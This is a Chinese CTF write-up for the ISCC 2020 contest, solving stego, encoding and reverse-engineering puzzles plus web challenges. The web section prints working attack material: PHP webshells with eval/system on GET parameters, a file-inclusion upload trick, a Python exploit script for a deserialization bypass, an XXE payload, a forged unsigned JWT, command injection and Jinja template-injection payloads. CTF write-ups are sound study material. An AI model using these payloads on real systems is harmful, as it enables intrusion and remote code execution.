ISCC 2020 Writeup
一道pwn和moblie都没解出来就结束了,其它题也好多都没解出来,我真……的还想再学五百年……
向学长看齐,所以还是先宣传一波ISCC……(逃……)
ISCC简介:(复制粘贴来的)
信息安全已涉及到国家政治、经济、文化、社会和生态文明的建设,信息系统越发展到它的高级阶段,人们对其依赖性就越强,从某种程度上讲其越容易遭受攻击,遭受攻击的后果越严重。“网络安全和信息化是一体之两翼、驱动之双轮。没有网络安全就没有国家安全。”信息是社会发展的重要战略资源,国际上围绕信息的获取、使用和控制的斗争愈演愈烈,信息安全保障能力是综合国力、经济竞争实力和生存能力的重要组成部分,是世纪之交世界各国奋力攀登的至高点。 信息安全与对抗技术竞赛(ISCC:Information Security and Countermeasures Contest),于2004年首次举办(国内第一),2020年为第17届。2019年竞赛的注册人数近7000人,参加竞赛的院校数1000多所,ISCC竞赛的影响广泛且深远。竞赛不断追求“更高、更快、更强”,持续培养高素质信息安全对抗专业人才。
摘自官网: ISCC
MISC
high
欢迎来到MISC的炼狱!赛高泥high铁鸭子哒!哈哈哈哈哈哈哈!
做个misc都有JOJO出现,也是醉了啊……
一看png,先分析文件头,文件名high,于是先修改IHDR中高度值,果然发现flag……但……是
还有一层维吉尼亚密码,key为high
…… \(\longleftarrow\) 就这个我交了20多遍错的flag,出师不利
Flag: ISCC{W3lcome_to_Mi5C_Wryyy}
话说为什么有个一般binwalk固件分析才找到出来的……myi MyiSAM索引文件,迷……
ISCC成绩查询-1
Ron在5月份参加了第17届ISCC竞赛,查成绩的时间到了。但是在他登录时,他突然发现自己忘记了英文用户名,好在他当时记录了自己的英文用户名,你能帮助他找回来嘛?
(连用户名都没记住,嗐……)
仍然一个png,感觉没啥问题,上Stegsolve,发现隐写
是个图论,数了下,发现度为奇数的点刚好两个,而且还有些点有标号,那我们就来走一次欧拉回路吧!
把经过边上的字母连在一起,得到TRLNCHHAFCIEEIEEPR
,但是不像用户名,继续试密码,最后栅栏密码6栏得到THERAILFENCECIPHER
,恰好为栅栏密码英文名,这用户名取得好啊……
Flag: flag{THERAILFENCECIPHER}
寻找小明-1
没题面,以后补
重点:最低位的背影
,于是上Stegsolve,发现Red plane 0有个二维码,扫一下,得到:(记得反色)
https://pastebin.com/Yjy1crAs
然后,得到一个数组:
[257,1,258,2,259,3,260,4,261,5,262,7,263,8,259,277,438,300,455,319,25,300,456,400,66,366,78,300,421,259,452,23]
个数为偶数,于是猜想是坐标,两个两个从原图找点,由于是在Red plane找到的,就尝试把RGB中R的数值转换为字符,得到flag……
#!/usr/bin/python3 from PIL import Image pos = [257,1,258,2,259,3,260,4,261,5,262,7,263,8,259,277,438,300,455,319,25,300,456,400,66,366,78,300,421,259,452,23] if __name__ == "__main__": img=Image.open("最低位的背影.png") img_array = img.load() flag = "" for i in range(len(pos) // 2): flag = flag + chr(img_array[pos[i * 2],pos[i * 2 + 1]][0]) print(flag)
(结束了看了学长的wp才发现自己想的太多了……xor,取余,怪不得什么都没找到……)
Flag: flag{ISCC*funny}
锟斤拷
且作诗一首:
手持两把锟斤拷,口中疾呼烫烫烫。
脚踏千朵屯屯屯,笑看万物锘锘锘。
在神器锟斤拷的高温下,你快速是否能找到flag,免受炼狱之苦呢?
第一次出题,出了个毒瘤题,RE硬生生成了MISC……
首先看到garbled-char.png这个图像,“锟斤拷”三个大字,明显指出了这道题与编码有关,更具体点应该是gbk与unicode。
继续发现图像文件有些偏大,猜想是否隐写了其它文件,用binwork一看,果然发现端倪,解包出来。
得到下列文件:
发现flag.rar有密码,只有从其它几项入手了。
首先看看pwd.txt,发现用默认的utf-8编码无法打开,想想之前的“锟斤拷”,试着用gbk编码打开,得到下列字符串:
“新佛曰”开头,是比较流行的“新约佛论禅”加密,搜索找到解密网站,得到下列字符串:
把字符串当作密码输入,果然不正确,还差了点,继续从剩下的文件找线索。
useful文件像是一个程序,但无法运行,先放在一边。
information.txt的第一行写了“for useful”,解读了这个文件,或许就能让useful运行了。
看剩下七行,第一个字符总是g,b,k中的一个,第二个字符是1-7,之前又说与gbk有关,似乎可以给行排个序?
按照感觉比较合理的顺序排个序,例如:g1,b2,k3,g4,b5,k6,g7。
继续看每行后面的内容,这似曾相似的感觉,似乎是经典的凯撒密码,每行格式相似,而且既有数字也有小写字母,数字也比较连续,看样子数字和小写字母是分开使用交换加密的,循环应该分别是10和26,但是偏移量是多少呢?继续沉思……
继续想到gbk和unicode………… u n i c o d e,一共是7个,g b k g b k g也一共7个,是不是从g b k g b k g --> u n i c o d e呢?字符对应的差值就是每一行对应相应的偏移量?赶紧写份代码试试……
运行后果然得到了下面的结果:
看样子是对useful异或加密了,而且还是分段的,写出解密程序,对useful进行解密。
用file命令判断下文件类型,果然是ELF文件。
拖到ida里面,发现函数很少,感觉被加了壳,继续分析,发现是简单的upx壳,直接脱下即可。
脱完壳继续拖到ida里面,找到main函数,打开graph视图,发现逻辑很复杂,不像一般的程序,比较像虚拟机之类的程序。
打开字符串窗口,看下是否有一些信息,发现了大量Py相关的字符串,有一条明确指出为Python VM,看样子是Python虚拟机没错了,应该是Python脚本的包装器。
最常用的无疑就是Pyinstaller了,通过pyi-bootloader-ignore-signals等字符串也说明了是该ELF是Pyinstaller打的包,开始反编译吧。
查找资料发现,有一款叫pyinstxtractor的开源程序可以反编译Pyinstaller打包程序,为了防止一些奇奇怪怪的事情发生,我们直接到github上找最新的程序源码。
实验后发现pyinstxtractor只能解包exe,不能解包ELF……先放在一旁吧……
继续查阅资料,发现PyInstaller自带pyi-archive_viewer这样一款工具,可以去提取可执行文件中(当然包括ELF)的py代码,有戏!
根据文档,我们可以把pyc文件dump出来,这不就相当于得到源码了吗!
用pyi-archive_viewer很简单就找到了useful这个pyc文件,同时发现了cpython36等字样,说明该文件是在python3.6下用PyInstaller打包的。
现在dump出pyc文件,开始反编译吧。
反编译时工具很多,这里使用uncompyle6。
但却发现出错了,有什么问题吗?
继续查阅资料,发现PyInstaller在打包.pyc时,会把.pyc的magic和时间戳+大小参数去掉,而且各个版本所占字节数不同,同时用pyi-archive_viewer dump时并不会自动还原,只好自己修复,时间戳+大小参数可以随意(可以用00填充),但magic应该怎么获取?
Python 3.6在pyc文件头该增加什么?回想起之前好像有个开源的pyinstxtractor,而Pyinstaller在不同平台用的打包方式应该很相似,可以通过源码学习一下。
通过研究pyinstxtractor源码,我们知道了pyc缺失的部分的格式。
magic可以使用对应版本的python获得,而python 3.6 的magic后面还需要8个字节(时间戳+大小参数),下载Python 3.6,获得四个字节的magic,故pyc一共缺失12个字节。
我们得到了pyc缺失的部分,手动用hex编辑器补上。
然后用uncompyle6反编译,得到py源码。
通过分析发现,这个有用的字符串(也就是需要加在之前获得的字符串后面的字符串),先通过了10次base64编码,再通过输入的pos切片,分别进行a85(Ascii85)和b85(RFC1924)加密后拼接,与目标字符串比较判断是否正确。经过分析,我们可以逆推出useful String。
输入的pos是多少呢?看main前面的表达式我们似乎可以算出来,但是次方过大,无法直接算,发现有取模运算,于是可以用快速幂得到pos为112(当然也可以用数学方法).
但此时的pos并不是targetStr的切片点,因为a85(Ascii85)的加密方式是以4个字节为一组加密为5个字节,故实际的pos = 112 // 4 * 5 = 140,此时就可以开始编写解密脚本了。
最后得到字符串“\xef\xbf\xbd”,这不就是“锟斤拷”的“罪魁祸首”之一吗?
与之前的“我是没有用处的,除非你在后面加点什么”相连,得到密码,解压flag.rar,得到flag.(记得在两边加上flag{})
Flag: flag{gbk&unicode^_^YOu-gOT+It}
Web
Php is the best language
没题面,以后补
有index.php
源码,一看,php反序列化,把flag.php
写到序列化函数就行了
// index.php <?php @error_reporting(1); include ‘flag.php‘; class baby { public $file; function __toString() { if(isset($this->file)) { $filename = "./{$this->file}"; if (base64_encode(file_get_contents($filename))) { return base64_encode(file_get_contents($filename)); } } } } if (isset($_GET[‘data‘])) { $data = $_GET[‘data‘]; $good = unserialize($data); echo $good; } else { $url=‘./index.php‘; } $html=‘‘; if(isset($_POST[‘test‘])){ $s = $_POST[‘test‘]; $html.="<p>谢谢参与!</p>"; } ?> // to-flag.php <?php class baby { public $file = ‘flag.php‘; function __toString() { if(isset($this->file)) { $filename = "./{$this->file}"; if (base64_encode(file_get_contents($filename))) { return base64_encode(file_get_contents($filename)); } } } } $data = new baby; $good = serialize($data); echo $good; ?>
得到flag……(我可不是php expert,只是菜鸟)
Flag: flag{u_r_really_a_php_expert}
What image can do
用最意想不到的图,做最意想不到的事
(有点东西)
文件上传题,下面查看可以运行shell,摆弄一番,发现是内容检测绕过,windows直接找张图片copy /b 1.jpg+shell.php shell.jpg
就行。
顺便发现原本包含的file*.php
在下级子目录,所以GET时记得../uploads/*
,就像这样
http://101.201.126.95:7004/?filename=../uploads/2020/05/07/3942885eb3cba14e059674002813.jpg&submit=phpinfo();
我那乱七八糟的shell
<?php echo ‘<br/>‘; echo "__FILE__: ========> ".__FILE__; echo ‘<br/>‘; echo "__DIR__: ========> ".__DIR__; echo ‘<br/>‘; echo highlight_file("/var/www/html/flag.php"); echo ‘<br/>‘; echo highlight_file("/var/www/html/index.php"); @eval($_GET[‘submit‘]); ?>
附上index.php
<?php $SELF_PAGE = substr($_SERVER[‘PHP_SELF‘],strrpos($_SERVER[‘PHP_SELF‘],‘/‘)+1); if ($SELF_PAGE = "clientcheck.php"){ $ACTIVE = array(‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘active open‘,‘‘,‘‘,‘‘,‘active‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘); } include_once ‘inc/uploadfunction.php‘; $html=‘‘; if(isset($_POST[‘submit‘])){ $type=array(‘jpg‘,‘jpeg‘,‘png‘);//指定类型 $mime=array(‘image/jpg‘,‘image/jpeg‘,‘image/png‘); $save_path=‘uploads‘.date(‘/Y/m/d/‘);//根据当天日期生成一个文件夹 $upload=upload(‘uploadfile‘,‘512000‘,$type,$mime,$save_path);//调用函数 if($upload[‘return‘]){ $html.="<p class=‘notice‘>success!</p><p class=‘notice‘>文件保存的路径为:{$upload[‘save_path‘]}</p>"; }else{ $html.="<p class=notice>{$upload[‘error‘]}</p>"; } } ?> <head> <title>ISCC | What can images do?</title> <style> body{background-image:url(./static/background.jpg);} html,body{ position: relative; height: 100%; } .main-content{ position: relative; width: 300px; margin: 80px auto; padding: 20px 40px 40px; text-align: center; background: #fff; border: 1px solid #ccc; } .main-content::before,.main-content::after{ content: ""; position: absolute; width: 100%;height: 100%; top: 3.5px;left: 0; background: #fff; z-index: -1; -webkit-transform: rotateZ(4deg); -moz-transform: rotateZ(4deg); -ms-transform: rotateZ(4deg); border: 1px solid #ccc; } .main-content::after{ top: 5px; z-index: -2; -webkit-transform: rotateZ(-2deg); -moz-transform: rotateZ(-2deg); -ms-transform: rotateZ(-2deg); } .main-content1{ position: relative; width: 300px; margin: 80px auto; padding: 20px 40px 40px; text-align: center; background: #fff; border: 1px solid #ccc; } .main-content1::before,.main-content::after{ content: ""; position: absolute; width: 100%;height: 100%; top: 3.5px;left: 0; background: #fff; z-index: -1; -webkit-transform: rotateZ(4deg); -moz-transform: rotateZ(4deg); -ms-transform: rotateZ(4deg); border: 1px solid #ccc; } .main-content1::after{ top: 5px; z-index: -2; -webkit-transform: rotateZ(-2deg); -moz-transform: rotateZ(-2deg); -ms-transform: rotateZ(-2deg); } </style> </head> <body> <div class="main-content"> <div class="main-content-inner"> <div class="page-content"> <div id="usu_main"> <form class="upload" method="post" enctype="multipart/form-data" action=""><br/> <input class="uploadfile" type="file" name="uploadfile" /><br/> <input class="sub" type="submit" name="submit" value="点击上传" /> </form> <?php echo $html;//输出了上传文件的路径 ?> </div> </div><!-- /.page-content --> </div> </div><!-- /.main-content --> <?php $SELF_PAGE = substr($_SERVER[‘PHP_SELF‘],strrpos($_SERVER[‘PHP_SELF‘],‘/‘)+1); if ($SELF_PAGE = "fi_local.php"){ $ACTIVE = array(‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘active open‘,‘‘, ‘active‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘); } $html=‘‘; if(isset($_GET[‘submit‘]) && $_GET[‘filename‘]!=null){ $filename=$_GET[‘filename‘]; include "include/$filename";//变量传进来直接包含,没做任何的安全限制 // 安全的写法,使用白名单,严格指定包含的文件名 // if($filename==‘file1.php‘ || $filename==‘file2.php‘ || $filename==‘file3.php‘ || $filename==‘file4.php‘ || $filename==‘file5.php‘){ // include "include/$filename"; // } } ?> <div class="main-content1"> <div class="main-content-inner1"> <div class="page-content1"> <div id=fi_main> <p class="fi_title">PS:这里可以看到一些好看的图片示例哦~</p> <form method="get"> <select name="filename"> <option value="">--------------</option> <option value="file1.php">the Eiffel Tower</option> <option value="file2.php">the Great Wall</option> <option value="file3.php">Big Ben</option> <option value="file4.php">Statue Of Liberty</option> <option value="file5.php">Taj Mahal</option> </select> <input class="sub" type="submit" name="submit" /> </form> <?php echo $html;?> </div> </div><!-- /.page-content1 --> </div> </div><!-- /.main-content1 --> </body>
最终flag为:
Flag: flag{ISCC_FREAKING_AWESOME}
的确意想不到,webshell被传了一大堆,而且靶场上传目录还被写成过000
,醉……
Where is file
没题面,以后补
有源码,分析后直接php伪协议,php://filter
搞定
http://101.201.126.95:7009/?file=php://filter/read=convert.base64-encode/resource=flag.php&hello=flag.php
// index.php <?php show_source(__FILE__); echo $_GET[‘hello‘]; $file=$_GET[‘file‘]; while (strstr($file, "file://")) { $file=str_replace("file://", "", $file); } include($file); ?> // flag.php <?php $a="flag{web_include_file}"; ?>
Flag: flag{web_include_file}
阿帅的爱情
找到题目,发现index.php
源码
<?php if(!isset($_GET["ip"])){ show_source(__file__); } else { $ip=$_GET["ip"]; $pattern="/[;|&].*[a-zA-Z]+/"; if(preg_match($pattern,$ip)!=0){ die(‘bad domain‘); } try { $result = shell_exec(‘ping -c 4 ‘ . $ip); } catch(Exception $e) { $result = $e->getMessage(); echo $result; } $result = str_replace("\n", "<br>", $result); echo $result; }
发现是审计,分析一下,有一个命令执行漏洞,正则被过滤,但是可以直接用%0a绕过,ls
查看发现flag.php
,直接cat flag.php
这个flag够长……
Flag: flag{6Zi/5qOu5LiK5LqG6Zi_5biF77yM5Zyo5LiA5Liq5rKh5py_J5pif5pif55qE5aSc5pma}
未知的风险-1
打开,发现只有hello guest;,于是用burpsuite抓包,发现Cookie: token,分析一下,是JWT,所以根据题意伪造user的JWT
alg为none,于是第三部分加密就不用伪造了
// JWT伪装user: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6InVzZXIiLCJpYXQiOjE1ODg4NTM1OTYsImp0aSI6ImEzNGFkMzQ4ZGMzMjZkOTIxNGUyNmVkYTcwMTBjYjA2In0. {"typ":"JWT","alg":"none"}.{"id":"user","iat":1588853596,"jti":"a34ad348dc326d9214e26eda7010cb06"}
修改Cookie,进入一个登录页面,查看页面源代码,发现ajax请求用的是XML,所以可以用XXE漏洞。
抓包,修改XML,试了几下,发现php
伪协议能用,有flag.php
,于是JWT+XXE+php://filter
搞定,
<!DOCTYPE GVI [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php" >]> <user><username>&xxe;</username><password>asd</password></user>`
最后base64转化一下:
Flag: flag{get_the_methodd}
未知的风险-2
没题面,以后补
有index.txt,不过需要去有意试一下
//index.php <?php //error_reporting(0); include(‘secret.php‘); $sandbox_dir = ‘sandbox/‘.sha1($_SERVER[‘REMOTE_ADDR‘]); global $sandbox_dir; function myserialize($a, $secret) { $b = str_replace("../","./", serialize($a)); return $b.hash_hmac(‘sha256‘, $b, $secret); } function myunserialize($a, $secret) { if(substr($a, -64) === hash_hmac(‘sha256‘, substr($a, 0, -64), $secret)){ return unserialize(substr($a, 0, -64)); } } class UploadFile { function upload($fakename, $content) { global $sandbox_dir; $info = pathinfo($fakename); $ext = isset($info[‘extension‘]) ? ".".$info[‘extension‘] : ‘.txt‘; file_put_contents($sandbox_dir.‘/‘.sha1($content).$ext, $content); $this->fakename = $fakename; $this->realname = sha1($content).$ext; } function open($fakename, $realname) { global $sandbox_dir; $analysis = "$fakename is in folder $sandbox_dir/$realname."; return $analysis; } } if(!is_dir($sandbox_dir)) { mkdir($sandbox_dir,0777,true); } if(!is_file($sandbox_dir.‘/.htaccess‘)) { file_put_contents($sandbox_dir.‘/.htaccess‘, "php_flag engine off"); } if(!isset($_GET[‘action‘])) { $_GET[‘action‘] = ‘home‘; } if(!isset($_COOKIE[‘files‘])) { setcookie(‘files‘, myserialize([], $secret)); $_COOKIE[‘files‘] = myserialize([], $secret); } switch($_GET[‘action‘]){ case ‘home‘: default: $content = "<form method=‘post‘ action=‘index.php?action=upload‘ enctype=‘multipart/form-data‘><input type=‘file‘ name=‘file‘><input type=‘submit‘/></form>"; $files = myunserialize($_COOKIE[‘files‘], $secret); if($files) { $content .= "<ul>"; $i = 0; foreach($files as $file) { $content .= "<li><form method=‘POST‘ action=‘index.php?action=changename&i=".$i."‘><input type=‘text‘ name=‘newname‘ value=‘".htmlspecialchars($file->fakename)."‘><input type=‘submit‘ value=‘Click to edit name‘></form><a href=‘index.php?action=open&i=".$i."‘ target=‘_blank‘>Click to show locations</a></li>"; $i++; } $content .= "</ul>"; } echo $content; break; case ‘upload‘: if($_SERVER[‘REQUEST_METHOD‘] === "POST") { if(isset($_FILES[‘file‘])) { $uploadfile = new UploadFile; $uploadfile->upload($_FILES[‘file‘][‘name‘], file_get_contents($_FILES[‘file‘][‘tmp_name‘])); $files = myunserialize($_COOKIE[‘files‘], $secret); $files[] = $uploadfile; setcookie(‘files‘, myserialize($files, $secret)); header("Location: index.php?action=home"); exit; } } break; case ‘changename‘: if($_SERVER[‘REQUEST_METHOD‘] === "POST") { $files = myunserialize($_COOKIE[‘files‘], $secret); if(isset($files[$_GET[‘i‘]]) && isset($_POST[‘newname‘])){ $files[$_GET[‘i‘]]->fakename = $_POST[‘newname‘]; } setcookie(‘files‘, myserialize($files, $secret)); } header("Location: index.php?action=home"); exit; case ‘open‘: $files = myunserialize($_COOKIE[‘files‘], $secret); if(isset($files[$_GET[‘i‘]])){ echo $files[$_GET[‘i‘]]->open($files[$_GET[‘i‘]]->fakename, $files[$_GET[‘i‘]]->realname); } exit; case ‘reset‘: setcookie(‘files‘, myserialize([], $secret)); $_COOKIE[‘files‘] = myserialize([], $secret); array_map(‘unlink‘, glob("$sandbox_dir/*")); header("Location: index.php?action=home"); exit; }
是个自建沙箱上传的题目,用了.htaccess
防止webshell运行,有几个功能,同时发现反序列化函数,在这里,由于用户控制的Cookie被直接发送到s_unserialize()函数,所以我们可以尝试寻找PHP对象注入漏洞。
……(过程十分复杂,由于是Insomni‘hack Teaser 2018 File Vault 原题,可以参考官方Writeup )
脚本如下,传上去webshell后就可以用中国蚁剑连接了,不过其实直接GET cat ../../flag.php
就行了,不过不要拿着shell乱搞……
import requests import urllib import hashlib URL = "http://101.201.126.95:7005/" s = requests.Session() default_content = "AK" my_ip = "127.0.0.1" # 修改为自己ip newname = "../" * 117 # 覆写 fakename #2 remote_address = hashlib.sha1(my_ip.encode(‘utf-8‘)).hexdigest() serialized_injection = ‘";s:8:"realname";s:44:"%s.txt";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/%s/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"‘ % (hashlib.sha1(default_content.encode(‘utf-8‘)).hexdigest(), remote_address) shell_php = ‘‘‘<?php if(isset($_POST[‘pass‘])){ @eval($_POST[‘pass‘]); } if(isset($_GET[‘cmd‘])){ system($_GET[‘cmd‘]); } if(isset($_GET[‘phpcmd‘])){ @eval($_GET[‘phpcmd‘]); } ?>‘‘‘ def upload(name, content=default_content): files = {‘file‘: (name, content)} params = { "action" : "upload" } s.post(URL, params=params, files=files) def rename(index, new_name): data = { "newname" : new_name } params = { "action" : "changename", "i" : index } s.post(URL, params=params, data=data) def open_file(index): params = { "action" : "open", "i" : index } return s.get(URL, params=params).text # 随意上传两个文件 upload("A") upload("B") # 通过重命名注入序列化 ZipArchiver rename(1, serialized_injection) rename(0, newname) # 上传 shell upload("shell.php", shell_php) # 收到的 Cookie print(" === Cookie === ") print(urllib.request.unquote(s.cookies[‘files‘])) print(" ============== ") # Trigger .htaccess 被删除 open_file(1) shell_url = URL + "sandbox/%s/%s.php" % (remote_address, hashlib.sha1(shell_php.encode(‘utf-8‘)).hexdigest()) print(shell_url) response = requests.get(shell_url, params={"cmd" : "cat ../../secret.php"}) flag = response.text print(flag)
得到flag……(第一次的时候发现sandbox无法访问,准是靶场目录权限又被改成000
了)
Flag: flag{ghs_aswoer_nmxld}
(随意翻了下别人传的,都是些什么和什么哦……)
Easy Injection
python template injection
唯一做的一道擂台题,明显python template注入……
找到第231个类包含了os库,于是用listdir查看,看到flog
文件,用popen创建管道传回终端结果,得到flag……
第一次: http://101.201.126.95:7050/{% for item in ‘‘.__class__.__mro__[1].__subclasses__() %}%0a{% if ‘os‘ in item.__init__.__globals__ %}%0a{{‘%s‘ % (item.__dict__)}}%0a{% endif %}%0a{% endfor %} 第二次: http://101.201.126.95:7050/{{‘‘.__class__.__mro__[1].__subclasses__()[231].__init__.__globals__[‘os‘].listdir(‘.‘)}} 返回:URL http://101.201.126.95:7050/[‘%‘, ‘tt.txt‘, ‘.travis.yml‘, ‘.gitignore‘, ‘requirements.txt‘, ‘index.py‘, ‘flog‘] not found 第三次: http://101.201.126.95:7050/{{‘‘.__class__.__mro__[1].__subclasses__()[231].__init__.__globals__[‘os‘].popen("cat flog").read()}}
附上index.py
#encoding:utf-8 from flask import Flask,request,render_template_string import urllib.request,urllib.parse app = Flask(__name__) @app.route("/") def hello(): return "python template injection" @app.errorhandler(404) def page_not_found(error): url = urllib.parse.unquote(request.url) return render_template_string("<h1>URL %s not found</h1><br/>"%url), 404 if __name__ == ‘__main__‘: app.run(debug=False, host=‘0.0.0.0‘, port=80)
Flag: flag{tomrrow_WILL_be_FINE}
(但是明天下雨,谢谢……)
Re
苏大强的保险箱-1
没题面,以后补
直接用IDA,找到加密函数,直接写段C输出即可……
记得要逆序一下
#include<stdio.h> int b[20] = {0xD5, 0x9E, 0xB4, 0x70, 0x78, 0x60, 0x82, 0x70, 0x39, 0x5E}; int a[20] = {0x0A, 7, 0x41, 0x0B, 0x2C, 0x0C, 0x3D, 0x38, 0x27, 0x73}; int main() { char m[20]; for (int i = 0; i <= 9; ++i) m[9 - i] = b[9 - i] - i - a[i]; printf("flag{%s}\n", m); return 0; }
Flag: flag{You-g0t-1T}
苏大强的保险箱-2
没题面,以后补
还是用IDA,找到加密函数,发现是RC4,百度后直接写出C文件,输出flag
#include<stdio.h> #include<time.h> #include<string.h> #include<stdlib.h> #define MAX 65534 int S[256]; //向量S char T[256]; //向量T char Key[256] = "a1dWT1pJXF1USVxRV1ZbUElQSVBJ"; int KeyStream[MAX]; //密钥 char CryptoText[MAX]; void init_S() { for(int i = 0; i < 256; i++) { S[i] = i; } } void init_Key() { // 初始密钥 int keylen = strlen(Key); for(int i = 0; i < 256; i++) //初始化T[] { T[i] = Key[i%keylen]; } } void permute_S() { // 置换S; int temp; int j = 0; for(int i = 0; i < 256; i++) { j = (j + S[i] + T[i]) % 256; temp = S[i]; S[i] = S[j]; S[j] = temp; } } void create_key_stream(int textLength) { // 生成密钥流 int i,j; int temp, t, k; int index = 0; i = j = 0; while(textLength --) //生成密钥流 { i = (i+1)%256; j = (j + S[i]) % 256; temp = S[i]; S[i] = S[j]; S[j] = temp; t = (S[i] + S[j]) % 256; KeyStream[index] = S[t]; index ++; } } void Rc4EncryptText(int *text, int textLength) { //加密 && 解密 init_S(); init_Key(); permute_S(); create_key_stream(textLength); printf("============开始解密============:\n"); for(int i = 0; i < textLength; i++) { CryptoText[i] = (char)(KeyStream[i] ^ text[i]); //加密 } printf("flag{"); for(int i = 0; i < textLength; i++) { printf("%c", CryptoText[i]); } printf("}\n"); printf("\n============解密完成============\n"); } int main() { int x[20] = {-99, -121, 113, -92, -125, 11, -86, 83, -60, 56, 54, -123}; Rc4EncryptText(x, 12); system("pause"); return 0; }
IDA一番操作猛如虎……
Flag: flag{1amSuda7iang}
(话说做2的时候都忘了1有个key了,直接IDA找出来,不管它是组合题了)
结语
别问我为什么用cnblogs……
主要是现在都没找到满意的blog方式,但是发现Hexo + Django好像不错,可以暑假写写试试